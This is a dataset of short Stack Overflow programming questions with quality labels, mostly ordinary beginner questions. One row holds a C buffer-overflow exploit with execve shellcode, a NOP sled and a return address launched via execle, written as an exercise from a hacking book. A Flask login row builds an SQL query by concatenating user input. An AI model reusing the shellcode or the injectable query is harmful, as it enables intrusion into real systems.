Id int64 34.6M 60.5M | Title stringlengths 15 150 | Body stringlengths 33 36.7k | Tags stringlengths 3 112 | CreationDate stringdate 2016-01-01 00:21:59 2020-02-29 17:55:56 | Y stringclasses 3 values |
|---|---|---|---|---|---|
60,001,380 | JS Higher Order functions Nesting | WHAT IS WRONG HERE?? IT WORKS WHEN FILTER METHOD IS ABOVE MAP.
```
const weekLogs = this.props.weeklyLogs
.map(weekLogs =>
<div >
<h3>{weekLogs.title}</h3>
</div>)
.filter(weekLogs => weekLogs.id<10)
``` | <javascript><shapes> | 2020-01-31 09:42:24 | LQ_EDIT |
60,002,053 | Html head meta tags explanation required? | <p>I have seen the following meta tags in many places can anyone explain that are these necessary and how? What do they exactly mean?</p>
<pre><code><meta name="hdl" content="">
<meta name="lp" content="">
<meta name="byl" content="">
<meta name="utime" content="">
<meta name="ptime" content="">
<meta name="pdate" content="">
<meta name="dat" content="">
<meta name="CG" content="">
<meta name="SCG" content="">
<meta name="PT" content="">
<meta name="PST" content="">
<meta name="CN" content="">
<meta name="CT" content="">
<meta name="genre" itemprop="genre" content="">
<meta name="url" itemprop="url" content="">
</code></pre>
| <html><meta-tags><head> | 2020-01-31 10:25:44 | LQ_CLOSE |
60,003,742 | How to add our external js file in react | <p>Can anybody tell me that how we can external js file into our react component,or in our index.html or in body.</p>
<p>Provide code if possible</p>
| <reactjs> | 2020-01-31 12:16:14 | LQ_CLOSE |
60,003,750 | What's wrogf with this code here? I cannot use array Tage in my lists |
I m posting few code here for you to see, the error is on names[]
var names = new Lists<string>();
while(true)
{
Console.Write("type a name (or hit ENTER to quit)");
var input = Console.ReadLine();
if (string.IsNullOrWhiteSpace(input))
break;
names.Add(input);
}
if (names.count >2)
Console.WriteLine("{0} {1} and {2} others like your posts", names[0], names[1], names.count - 2);}
}
}
i am having an error on names[0], names[1], saying cannot apply indexing with[] to an expression of list<string>
| <c#> | 2020-01-31 12:16:56 | LQ_EDIT |
60,003,850 | Make SQL query fail on trying to delete non-existent record | <p>Is there standard SQL syntax for causing query to fail when a query tries to delete a non-existent entity? E.g.</p>
<pre><code>DELETE FROM entity WHERE id = 501;
</code></pre>
<p>does not fail, even when there is no entity with id = 501. Can it be done in cross-database way?</p>
| <sql> | 2020-01-31 12:23:21 | LQ_CLOSE |
60,003,965 | Creating a Object Array From an Array | <p>I have an array like this:</p>
<pre><code>const companyNames = ["A", "B", "C"];
</code></pre>
<p>I want to convert it to a something like this:</p>
<pre><code>const companyNames = {
0: 'A',
1: 'B',
2: 'C'
};
</code></pre>
| <javascript> | 2020-01-31 12:30:39 | LQ_CLOSE |
60,005,210 | wanting to print if list elements are armstrong number or not | n = int(input("" ""))
l = []
for i in range(n):
a = int(input())
l.append(a)
s=0
for i in l:
temp = i
while temp>0:
d = temp % 10
s += d**3
temp //= 10
if n == s:
print("yes")
else:
print("no")
I am trying to print yes if the number is Armstrong number if not no but the code give me only else part if part is not executing please help. | <python><algorithm><list> | 2020-01-31 13:50:26 | LQ_EDIT |
60,005,723 | Print the following 1 2 3 4 Bus 6 7 8 9 bUs 11 12 13 14 buS | <pre><code>Scanner sc=new Scanner(System.in);
int n=sc.nextInt();
for(i=1; i<=n; i++)
{
if(i%3==2 && i%5==0)
{
System.out.println("Bus");
}
if(i%3==1 && i%5==0)
{
System.out.println("bUs");
}
if(i%3==0 && i%5==0)
{
System.out.println("buS");
}
System.out.println(i+" ");
}
</code></pre>
<p>The above program is also printing the number 5,10,15 but these should not print </p>
| <java> | 2020-01-31 14:22:20 | LQ_CLOSE |
60,005,848 | What is the base address of a c program environment from the execle command? | I am reading the book "Hacking: The art of exploitation" and I have some problems with the code of exploit_notesearch_env.c It is attempting to do a buffer overflow exploit by calling the
program to be exploited with the "execle" command. That way the only environment variable of
the program to be exploited will be the shellcode.
My problem is that I can't figure the address of the shellcode environment variable out.
The book says that the base address was 0xbffffffa and then subtracts the size of the shellcode
and the length of the program name from it to obtain the shellcode address.
This is the code of exploit_notesearch_env.c which calls the notesearch program:
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, (char *) 0};
uint64_t i, ret;
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
memset(buffer, '\x90', 120);
*((uint64_t *)(buffer+120)) = ret;
execle("./notesearch", "notesearch", buffer, (char *) 0, env);
free(buffer);
}
```
By the way the book uses a 32 bit Linux distro while I am using Kali Linux 2019.4 64 bit version which might be the origin of the problem.
The shellcode is already adjusted for 64 bits and the program correctly overflows the buffer but only with the wrong address.
Does anyone know the right substitute for the address 0xbffffffa from the book? | <c><shellcode><aslr> | 2020-01-31 14:30:14 | LQ_EDIT |
60,008,880 | Reshape an array in Python | <p>I have an NumPy array of size <code>100x32</code> that I would like to reshape it to <code>10x10x32</code>. Therefore, the first 10 rows to be the first element of the new matrix 1x10x32, the next 10 rows to be the second element and so on. I tried to use reshape, however, I am not sure if it is quite a smooth solution, for example I did the following:</p>
<pre><code>pred = pred.reshape(10, 10, 32) # pred initial is of size 100x32
</code></pre>
<p>Does that code do what I want properly?</p>
| <python><numpy> | 2020-01-31 17:47:29 | LQ_CLOSE |
60,011,763 | Changing the value of a variable in every iteration using python | <p>Suppose
a=0
b=a+5
print b</p>
<p>I want to update the value of variable <strong>a</strong> five times. The initial value is zero. So for the next five iterations the value of <strong>a</strong> should be updated as: 10,25,50,75 and 100.</p>
| <python><for-loop> | 2020-01-31 21:53:33 | LQ_CLOSE |
60,011,880 | Is there a way to achieve this in python? | # I would like to create a function like:
def test(x, way='a'):
'a' = capitalize()
'b' = lower()
return x.way()
# And where if I run:
test('ASD', way='b')
# The ouput should be:
'asd'
# Thanks in advance to all of you
| <python> | 2020-01-31 22:07:15 | LQ_EDIT |
60,012,003 | Such a broken Ruby loop | <p>I'm using Sonic Pi on Mac and the following code with a while loop just goes right over what I want the condition to be.</p>
<pre><code>cut = 0
until cut >= 110 do
cue :foo
4.times do |i|
use_random_seed 667
16.times do
use_synth :tb303
play chord(:e3, :minor).choose, attack: 0, release: 0.1, cutoff: cut + i * 10
sleep 0.125
cut += 1
puts cut
end
end
cue :bar
32.times do |i|
use_synth :tb303
play chord(:a3, :minor).choose, attack: 0, release: 0.05, cutoff: cut + i, res: rrand(0.9, 0.95)
sleep 0.125
cut += 1
puts cut
end
end
</code></pre>
<p>I need so much help lol</p>
| <ruby> | 2020-01-31 22:20:30 | LQ_CLOSE |
60,012,186 | How to turn off interval loop | <p>How would I stop this loop? The loop is necessary, I'm just not sure how I stop it when I need to. </p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>setInterval(function(){
console.log("Loop running");
}, 6000);</code></pre>
</div>
</div>
</p>
| <javascript> | 2020-01-31 22:37:23 | LQ_CLOSE |
60,012,531 | How is this type of input label accomplished? | <p>I'm trying to figure out how these HTML inputs are achieved:</p>
<p><a href="https://i.stack.imgur.com/9kDa3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9kDa3.png" alt="enter image description here"></a></p>
<p>Google uses these inputs where the placeholder transitions up into the corner and becomes the label once the input is clicked. I thought they were somehow using the <code><fieldset></code> with the <code><legend></code> to accomplish this, but inspecting the code shows they are using an input with a div.. Is there a native way to do this I haven't heard of, or does anyone know how this is accomplished? </p>
<p><a href="https://accounts.google.com/signin/v2/identifier?continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&service=mail&sacu=1&rip=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin" rel="nofollow noreferrer">example link</a></p>
| <javascript><html><css> | 2020-01-31 23:17:48 | LQ_CLOSE |
60,013,384 | Client-side request encryption with React | <p>I want to make calls to my backend service in such a way that prevents people from copying the requests from the network tab, and duplicating them using curl, allowing them to burn through my API limits.</p>
<p>My site uses client-side React, so it seems to me that whenever I access the secret key to encrypt the data I'm sending, a user could just set a breakpoint in the Sources folder, and sniff the password I'm using for encryption.</p>
<p>Is there a technology or pattern I'm missing that would solve this problem?</p>
<p>Thanks very much!</p>
| <javascript><reactjs><encryption> | 2020-02-01 02:03:19 | LQ_CLOSE |
60,013,633 | How to Zip Two Lists, of Which One Only Has One Element or More (Combine Elements One by One From Two List) | <p>Here is an example of two lists:</p>
<pre><code>scala> val hosts = List("host1", "host2")
hosts: List[String] = List(host1, host2)
scala> val ports = List("port1")
ports: List[String] = List(port1)
</code></pre>
<p>What I want to achieve is:</p>
<pre><code>scala> hosts zip ports
List[(String, String)] = List((host1,port1), (host2,port1))
</code></pre>
<p>Result below is what I get, which may be expected but I am still in the process of learning. would appreciate any help. </p>
<pre><code>scala> hosts zip ports
res20: List[(String, String)] = List((host1,port1))
</code></pre>
<p>Note: at least one element on each list any time but it varies. regardless I would like to achieve one by one pairing.</p>
| <scala> | 2020-02-01 03:04:16 | LQ_CLOSE |
60,015,151 | create 2-D character array in java | <p>I want to create a character array like this one below:
<a href="https://i.stack.imgur.com/k1BTG.png" rel="nofollow noreferrer">character array</a></p>
<p>i am unable to find a method . Please help me out. Beginner in java</p>
| <java><arrays> | 2020-02-01 08:15:38 | LQ_CLOSE |
60,015,430 | how to create function which returns a dataURL(base64) by taking image URL in node js? | actually there are many answers for this question. But my problem is,
i want to generate pdf dynamically with 5 external(URL) images. Im using PDFmake node module.
it supports only two ways local and base64 format. But i don't want to store images locally.
so my requirement is one function which takes url as parameter and returns base64.
so that i can store in global variable and create pdfs
thanks in advance | <javascript><node.js><base64><data-uri> | 2020-02-01 09:00:49 | LQ_EDIT |
60,017,501 | WPF display record weekly wise in Datagrid with Summary | <p><a href="https://i.stack.imgur.com/lkJTM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lkJTM.png" alt="enter image description here"></a></p>
<p>I have a timesheet data, whose data model is defined as</p>
<pre><code>public class Timesheet
{
public int Id { get; set; }
public string Name { get; set; }
public int Effort { get; set; }
public DateTime Day { get; set; }
}
</code></pre>
<p>My challenge is to display the records in the week's format. However, I'm not sure what is the best approach to design the Datagrid in a way that when the list gets bind with it, the total summary of each column also gets displayed. </p>
| <c#><.net><wpf><datagrid> | 2020-02-01 13:49:56 | LQ_CLOSE |
60,020,061 | Swift Tap Gesture Recognizer doesn't work | <p>override func viewDidLoad() {</p>
<pre><code> super.viewDidLoad()
imageView.isUserInteractionEnabled = true
let gestureRecognizer = UIGestureRecognizer(target: self, action: #selector(chooseImage))
imageView.addGestureRecognizer(gestureRecognizer)
}
@objc func chooseImage() {
let pickerController = UIImagePickerController()
pickerController.delegate = self
pickerController.sourceType = .photoLibrary
present(pickerController,animated: true,completion: nil)
}
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) {
imageView.image = info[.originalImage] as? UIImage
self.dismiss(animated: true, completion: nil)
}
</code></pre>
<p>Tap gesture recognizer doesn't work on simulator.I created a photo called select an image but I can't click on it to go through my photo library</p>
| <ios><swift> | 2020-02-01 18:44:23 | LQ_CLOSE |
60,020,687 | Send Footer To the End of The Page | <p>How can I send my footer towards the bottom of my screen and how can I extend it to the full screen in a responsive way?
<a href="https://i.stack.imgur.com/19lSB.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/19lSB.jpg" alt="enter image description here"></a></p>
<p>Footer.css:</p>
<pre><code>* {
margin: 0;
}
html, body {
height: 100%;
}
.page-wrap {
min-height: 100%;
margin-bottom: -142px;
}
.page-wrap:after {
content: "";
display: block;
}
.site-footer, .page-wrap:after {
height: 142px;
}
.site-footer {
background: black;
}
.text{
color: white;
}
</code></pre>
<p>Footer.tsx:</p>
<pre><code>const Footer = () => (
<footer className="site-footer">
<p className = 'text'> APP</p>
</footer>
);
export default Footer;
</code></pre>
| <javascript><html><css><reactjs><material-ui> | 2020-02-01 20:07:24 | LQ_CLOSE |
60,021,555 | How to call object T from constructor copy T(const T&)? | <p>I have a copy constructor <code>T::T(const T&)</code>. The object has two properties, let's say <code>color</code> and <code>height</code>. This means I need to assign the color and the height from the object in argument to my object. Problem is I don't know how to call the argument because it is not named.</p>
<p>If the argument is named, let's say <strong>t</strong>, code looks like this:</p>
<pre><code>T::T(const T& t) {
color = t.color
height = t.height
}
</code></pre>
<p>But in my case there's no <strong>t</strong> argument. What should I replace the question mark <code>?</code> with in the following code:</p>
<pre><code>T::T(const T&) {
color = ?.color
height = ?.height
}
</code></pre>
<p>Thanks for help!</p>
| <c++><c++11><constants><copy-constructor><const-reference> | 2020-02-01 22:18:36 | LQ_CLOSE |
60,022,571 | how can i append a value to a tuple inside a list in Haskell? | For example, if I have a list of tuples such as [("a1", ["a2", "a3"]), ("b1", ["b2", "b3"])], and i want to add "a4" using "a1" "a4" as an input to update the list so that we get
[("a1", ["a2", "a3", "a4"]), ("b1", ["b2", "b3"])] as an output, how would I go about approaching this? I know that we can't literally "update" a tuple, and that I have to make an entirely new list | <list><haskell><tuples> | 2020-02-02 01:33:55 | LQ_EDIT |
60,023,963 | Unity: how to determine turret rotation direction if it has to be limited, and target "passed behind"? | Started some programming in Unity just for fun a couple days ago.
So far my game (pretty much top-down shooter) consists of player flying in an asteroid field, in which lurk enemy ships. Player can shoot down asteroids and enemies, and enemy ships have missile turrets that "track" player.
Everything works fine until I decided that enemy ships shouldn't be able to rotate their turrets all the 360-way.
Think of it as real-world battleship being unable to turn it's front turret (No.1) 180 degrees behind because turret No.2 is in the way.
Currently code for turret rotation is like this:
```
playerTarget = GameObject.FindGameObjectWithTag("Player");
chaseDirection = Quaternion.LookRotation(playerTarget.transform.position - transform.position);
newYaw = Mathf.Clamp(chaseDirection.eulerAngles.y, minYaw, maxYaw);
transform.rotation = Quaternion.Euler(0, newYaw, 0);
```
That works okay, until player flies BEHIND enemy ship. As soon as player gets into turret's "possible rotation angle", it just snaps past "dead zone" to new direction.
That looks ugly.
I thought about coding enemy to start rotating turret in counter-direction as soon as player passes "directly behind" the turret "forward facing" position. But the concept of how to do that eludes me.
Cause as soon as turret rotates just a bit from limit, it's able to turn "towards" player again, and gets stuck at limit again.
I think I am doing something very wrong and missing some easy and logical answer, but it eludes me for several hours already. | <unity3d> | 2020-02-02 07:07:33 | LQ_EDIT |
60,024,034 | In what cases would I want to use inline assembly code in C/C++ code | <p>I just read that assembly code can be included directly in C/C++ programs, like,</p>
<pre><code>__asm statement
__asm {
statement-1
statement-2
...
statement-n
}
</code></pre>
<p>I'm just wondering in what cases would it be useful to include assembly code in C/C++.</p>
| <c++><c><assembly><inline-assembly> | 2020-02-02 07:23:52 | LQ_CLOSE |
60,024,563 | Why should you use 2D array of structs? | I curious if there are use cases for a 2D array of structs.
typedef struct
{
//member variables
}myStruct;
myStruct array2D[x][y];
//Uses cases of array2D[x][y]? Do we need them?
| <c><arrays><multidimensional-array><struct><dimensions> | 2020-02-02 08:56:23 | LQ_EDIT |
60,024,581 | SQLite3connection: near "(":Systax error in Lazarus | I have a Sql deviation statement, but I found the error when running. I have researched many related topics to come up with solutions, but I have not yet solved it. SQLite3connection: near "(":Systax error
I hope to get help from everyone.
-----------------------------------
strSQL:='SELECT Mathang.Stt,Mathang.Mahang, Mathang.Tenhang,SUM(CASE WHEN Xuatnhap.Loaiphieu="N" AND SQLQuery1.FieldByName("Ngay").asString <= StrToDate(Edit1.Text) THEN Xuatnhap.Soluong ELSE 0 END) AS Tongnhap,SUM(CASE WHEN Xuatnhap.Loaiphieu="X" AND SQLQuery1.FieldByName("Ngay").asString <= StrToDate(Edit1.Text) THEN Xuatnhap.Soluong ELSE 0 END) AS Tongxuat,SUM(CASE WHEN Xuatnhap.Loaiphieu="N" AND SQLQuery1.FieldByName("Ngay").asString <= StrToDate(Edit1.Text) THEN Xuatnhap.Soluong ELSE 0 END) - SUM(CASE WHEN Xuatnhap.Loaiphieu="X" AND SQLQuery1.FieldByName("Ngay").asString <= StrToDate(Edit1.Text) THEN Xuatnhap.Soluong ELSE 0 END) AS Tongton FROM Mathang INNER JOIN Xuatnhap ON Mathang.Mahang=Xuatnhap.Mahang GROUP BY Mathang.Stt,Mathang.Mahang, Mathang.Tenhang'; | <sql><lazarus> | 2020-02-02 08:58:36 | LQ_EDIT |
60,025,029 | Search on GoogleMap in Android | I develope Android app.I want to create a search system on GoogleMap using SearchView. I want to get multiple place names from the entered string (as in the original search on Google Maps), but Geocoder always returns a List with a single Address. How I can solve this problem?
```
SearchView searchView=(SearchView)findViewById(R.id.search);
searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
@Override
public boolean onQueryTextSubmit(String s) {
return true;
}
@Override
public boolean onQueryTextChange(String s) {
try {
Geocoder geocoder=new Geocoder(getApplicationContext());
List<Address> addresses = geocoder.getFromLocationName(s, 10);
String[] addresses_string = new String[addresses.size()];
for(int i=0;i<addresses.size();i++)
{
addresses_string[i]=addresses.get(i).getAddressLine(0);
}
ArrayAdapter<String> a=new ArrayAdapter<String>(getApplicationContext(),R.layout.record,addresses_string);
ListView list=(ListView)findViewById(R.id.list);
list.setAdapter(a);
}
catch (Exception e)
{
....
}
return true;
}
});
``` | <java><android><searchview><google-geocoder> | 2020-02-02 10:06:36 | LQ_EDIT |
60,026,355 | Python Argparse of Google Vision AI Product Search | I am trying to build a Google Vision AI product search system. I am using python.
I have uploaded a product set already.
However, when I would like to search the product set with python argparse using below python code, I got an error.
https://github.com/GoogleCloudPlatform/python-docs-samples/blob/master/vision/cloud-client/product_search/product_in_product_set_management.py
The case was when I typed :
python productsetmanagement.py --project_id="test-as-vision-api-v1" --location="asia-east1" list_product_sets
I could find my product_set : set01
However, when I typed :
python productsetmanagement.py --project_id="test-as-vision-api-v1" --location="asia-east1" --product_set_id="set01" get_product_set
I got an error: the following arguments are required: product_set_id
I have already typed the product set id, may I know why I still got the error ? Did I use argparse wrongly?
Many thanks.
| <python><google-cloud-platform><google-vision> | 2020-02-02 13:00:57 | LQ_EDIT |
60,026,457 | Showing the last error first instead of first in PHP | <p>I have a login form currently setup that confuses my users.
The way i handle errors is like this;</p>
<pre><code>if (!($result->total > 0)) {
$err[] = "License key is not in our system.";
}
if ($claimed == 1) {
err[] = 'License key has been claimed already.';
}
if ($userID > 0) {
$err[] = 'License key is already connected to a user.';
}
if ($banned == 1) {
$err[] = 'License key is banned';
}
</code></pre>
<p>so for example, if one of my users would input a invalid license key instead of showing that it is not in our system it would show banned(creating confusion). Because i'm not exiting the code and letting it run.
I'm wondering how to go on about error handling when my functions are set up like this.</p>
<p>this is how i'm displaying the error..</p>
<pre><code>if (empty($err)) {
//no errors
} else {
echo $err; //this will show the last error instead of the first error generated
}
</code></pre>
| <php> | 2020-02-02 13:15:03 | LQ_CLOSE |
60,026,661 | I am getting Problem with nmp any Command same error | **I am getting Problem with nmp any Comma[enter image description here][1]nd same error.**
[1]: https://i.stack.imgur.com/68rlF.png | <node.js><angular-cli><npm-install> | 2020-02-02 13:40:30 | LQ_EDIT |
60,026,798 | How to disable certain dates in date picker in flutter | I have an array with certain dates( collected from Database).
I want to disable these dates in the date picker and also change the colour. How to do this in flutter.
Could anyone please help. | <flutter> | 2020-02-02 13:57:18 | LQ_EDIT |
60,027,530 | I m looking for a REGEX to split a response with & as part of the value | <p>So I get a response as pairs of keys and values
sum=199&name=arik&business=<strong>arik & sons</strong>&address=xyz</p>
<p>I m looking for a REGEX that will be able to split the keys and values</p>
<p>giving the following guidelines
1. first pair doesn't have the &
2. it could have & inside some of the values</p>
<p>Thank you</p>
| <c#><regex><asp.net-core> | 2020-02-02 15:17:34 | LQ_CLOSE |
60,027,546 | I have an issue with ${name} thing, how do i construct it? | <p>This is the code:</p>
<pre><code>function greetings(input){
let name = input.shift();
console.log('Hello, ${name}!');
}
greetings(["Niki"]);
</code></pre>
<p>Where is the issue, because by the given example it is written the same way and the exit code is:</p>
<pre><code>Hello, ${name}!
</code></pre>
<p>How do I type the code to actually write a name?</p>
| <javascript> | 2020-02-02 15:19:59 | LQ_CLOSE |
60,027,657 | I am having an issue when importing sklearn in python, I am using MacBook | >>> import sklearn
Traceback (most recent call last):
File "<pyshell#1>", line 1, in <module>
import sklearn
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/sklearn/__init__.py", line 81, in <module>
from . import __check_build # noqa: F401
ImportError: cannot import name '__check_build' from 'sklearn' (/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/sklearn/__init__.py) | <python><scikit-learn><pip><package-managers> | 2020-02-02 15:31:43 | LQ_EDIT |
60,028,568 | Discord.js: "if (message.channel.name === '')" not working | <p>I'm trying to make a bot not respond if the message isn't in a channel, for some reason using </p>
<pre class="lang-js prettyprint-override"><code>if (message.channel.name === '')
</code></pre>
<p>doesn't work. I can see the channel name by using if I console log it, so I don't understand why it's not working, and I get no errors in the console. </p>
<p>Help would be greatly appreciated.</p>
| <javascript><discord><discord.js> | 2020-02-02 17:12:33 | LQ_CLOSE |
60,031,920 | Javascript: Loop Through Dynamically Generated Titles and Trunicate | <p>I have these titles that are dynamically generated on the server side of the app, and I would like to truncate them accordingly.</p>
<p>The snippet for generating the titles is:</p>
<pre><code> <p class="prod-title">{{ product.title }}</p>
</code></pre>
<p>The above generated an HTML code as:</p>
<pre><code><p class="prod-title"> Title 1 </p>
<p class="prod-title"> Title 2 </p>
<p class="prod-title"> Title 3 </p>
</code></pre>
<p>How can I truncate the generated titles based on a class using Jquery?</p>
| <javascript><jquery> | 2020-02-03 00:39:34 | LQ_CLOSE |
60,032,336 | how to get the sum of numbers via map? |
How to get the sum of elements (numbers) that I get from the database?
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-js -->
const onSum = () => {
return invoiceList.map(i => {
// i.number summ
})
};
<!-- language: lang-html -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/16.6.3/umd/react.production.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react-dom/16.6.3/umd/react-dom.production.min.js"></script>
<!-- end snippet -->
| <javascript> | 2020-02-03 02:07:49 | LQ_EDIT |
60,033,216 | How to take screenshots of a web page and make a video of them using coding(any language)? | <p>I have a table on my web-page with thousands of entries and it shows 20 entries at a time. I want to take screenshots of all the entries page by page and then create a video of them using code. What would be the best language and method to do this task? I know nothing of this thing so I am open to any language like python, Java, Go, etc.</p>
| <java><python><scripting-language> | 2020-02-03 04:46:36 | LQ_CLOSE |
60,034,036 | Python set: fill with odd numbers | <p>I have following assignment:</p>
<p>Create a <strong>set called 'c' with all the odd numbers less than 10</strong>.</p>
<p>I create the set manually:</p>
<pre><code>c={'1', '3', '5', '7', '9'}
</code></pre>
<p>How can I create this set by a formula so that it would also be feasible with a larger scale?</p>
<p>Thank you for you help?</p>
| <python> | 2020-02-03 06:20:53 | LQ_CLOSE |
60,034,251 | how to fix it python flask we application error for internal server? | <p>I code in python using flask frame work to built an application But it showing internal server error while redirecting to the next page.
the log in page contain the path which going to redirect to the next
page.so how to fix that problem.
This is code for the app.py file.</p>
<pre><code>from flask import Flask, request, render_template
from flaskext.mysql import MySQL
app = Flask(__name__)
mysql = MySQL()
app = Flask(__name__)
app.config['MYSQL_DATABASE_USER'] = 'root'
app.config['MYSQL_DATABASE_PASSWORD'] = ''
app.config['MYSQL_DATABASE_DB'] = 'invertoryDb'
app.config['MYSQL_DATABASE_HOST'] = 'localhost'
MYSQL_DATABASE_SOCKET = '/tmp/mysql.sock'
mysql.init_app(app)
@app.route('/')
def my_form():
return render_template('loginPage.html')
@app.route('/login', methods=['POST'])
def Authenticate():
username = request.form['username']
password = request.form['password']
cursor = mysql.connect().cursor()
cursor.execute("SELECT * FROM user WHERE username='"+username+"' and password='"+password+"'")
data = cursor.fetchone()
if data is None:
return "usernme and password is wrong"
else:
return "logged in succesfully"
if __name__ == '__main__':
app.run()
</code></pre>
<p>this is the code for html file.</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<title>Login page</title>
<style type="text/css">
* {
box-sizing: border-box;
}
*:focus {
outline: none;
}
body {
font-family: Arial;
background-color: #3498DB;
padding: 50px;
}
.login {
margin: 20px auto;
width: 300px;
}
.login-screen {
background-color: #FFF;
padding: 20px;
border-radius: 5px
}
.app-title {
text-align: center;
color: #777;
}
.login-form {
text-align: center;
}
.control-group {
margin-bottom: 10px;
}
input {
text-align: center;
background-color: #ECF0F1;
border: 2px solid transparent;
border-radius: 3px;
font-size: 16px;
font-weight: 200;
padding: 10px 0;
width: 250px;
transition: border .5s;
}
input:focus {
border: 2px solid #3498DB;
box-shadow: none;
}
.btn {
border: 2px solid transparent;
background: #3498DB;
color: #ffffff;
font-size: 16px;
line-height: 25px;
padding: 10px 0;
text-decoration: none;
text-shadow: none;
border-radius: 3px;
box-shadow: none;
transition: 0.25s;
display: block;
width: 250px;
margin: 0 auto;
}
.btn:hover {
background-color: #2980B9;
}
.login-link {
font-size: 12px;
color: #444;
display: block;
margin-top: 12px;
}
</style>
</head>
<body>
<form action="/login" method="POST">
<div class="login">
<div class="login-screen">
<div class="app-title">
<h1>Login</h1>
</div>
<div class="login-form">
<div class="control-group">
<input type="text" class="login-field" value="" placeholder="username"
name="username">
<label class="login-field-icon fui-user" for="login-name"></label></div>
<div class="control-group">
<input type="password" class="login-field" value=""
placeholder="password" name="password">
<label class="login-field-icon fui-lock" for="login-pass"></label></div>
<input type="submit" value="Log in" class="btn btn-primary btn-large btn-block">
</div>
</div>
</div>
</form>
</body>
</html>
</code></pre>
<p>and this is the run console for the application.(error list)</p>
<pre><code>127.0.0.1 - - [03/Feb/2020 11:58:41] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [03/Feb/2020 11:58:41] "GET / HTTP/1.1" 200 -
[2020-02-03 11:58:54,752] ERROR in app: Exception on /login [POST]
Traceback (most recent call last):
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\app.py", line 2446, in
wsgi_app
response = self.full_dispatch_request()
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\app.py", line 1951, in
full_dispatch_request
rv = self.handle_user_exception(e)
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\app.py", line 1820, in ha
ndle_user_exception
reraise(exc_type, exc_value, tb)
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\_compat.py", line 39, in
reraise
raise value
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\app.py", line 1949, in
full_dispatch_request
rv = self.dispatch_request()
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flask\app.py", line 1935, in
dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "C:\Users\OWNER\PycharmProjects\untitled\app.py", line 27, in Authenticate
cursor = mysql.connect().cursor()
File "C:\Users\OWNER\PycharmProjects\untitled\venv\lib\site-packages\flaskext\mysql.py", line 54, in
connect
if self.app.config['MYSQL_DATABASE_SOCKET']:
KeyError: 'MYSQL_DATABASE_SOCKET'
127.0.0.1 - - [03/Feb/2020 11:58:54] "POST /login HTTP/1.1" 500 -
</code></pre>
| <python><flask> | 2020-02-03 06:41:39 | LQ_CLOSE |
60,034,683 | Filepond : c# IFormFile is null | I using [filepond][1] for pretty input file, but I facing issue when submit form.
Before using filepond, in `MyUpload` , the param `uploadedFile` are not null mean getting value.
<form asp-route="MyUpload" method="post" enctype="multipart/form-data">
<input class="filepondinput" type="file" name="uploadedFile"/>
</form>
$(document).ready(function () {
$('.filepondinput').filepond();
});
//C#
Task<IActionResult> MyUpload(IFormFile uploadedFile){
}
Below is the code i copy from devtools:
**Before selected any file**
it generate a new input call `filepond--browser` with the name `uploadedFile`
<div class="filepond--root filepondinput filepond--hopper" data-style-button-remove-item-position="left" data-style-button-process-item-position="right" data-style-load-indicator-position="right" data-style-progress-indicator-position="right" style="height: 67px;">
<input class="filepond--browser" type="file" id="filepond--browser-qiu43sah3" name="uploadedFile" aria-controls="filepond--assistant-qiu43sah3" aria-labelledby="filepond--drop-label-qiu43sah3">
<div class="filepond--drop-label" style="transform: translate3d(0px, 0px, 0px); opacity: 1;">
<label for="filepond--browser-qiu43sah3" id="filepond--drop-label-qiu43sah3" aria-hidden="true">Drag & Drop your files or <span class="filepond--label-action" tabindex="0">Browse</span></label>
</div>
<div class="filepond--list-scroller" style="transform: translate3d(0px, 0px, 0px);">
<ul class="filepond--list" role="list"></ul>
</div>
<div class="filepond--panel filepond--panel-root" data-scalable="true">
<div class="filepond--panel-top filepond--panel-root"></div>
<div class="filepond--panel-center filepond--panel-root" style="transform: translate3d(0px, 7px, 0px) scale3d(1, 0.53, 1);"></div>
<div class="filepond--panel-bottom filepond--panel-root" style="transform: translate3d(0px, 60px, 0px);"></div>
</div><span class="filepond--assistant" id="filepond--assistant-qiu43sah3" role="status" aria-live="polite" aria-relevant="additions"></span>
<div class="filepond--drip"></div>
</div>
**Below is after selected a file**
`filepond--browser` name `uploadedFile` is gone, and a hidden input file with name `uploadedFile` appear
<div class="filepond--root filepondinput filepond--hopper" data-style-button-remove-item-position="left" data-style-button-process-item-position="right" data-style-load-indicator-position="right" data-style-progress-indicator-position="right" style="height: 69px;">
<input class="filepond--browser" type="file" id="filepond--browser-qiu43sah3" aria-controls="filepond--assistant-qiu43sah3" aria-labelledby="filepond--drop-label-qiu43sah3">
<div class="filepond--drop-label" style="transform: translate3d(0px, 40px, 0px); opacity: 0; visibility: hidden; pointer-events: none;">
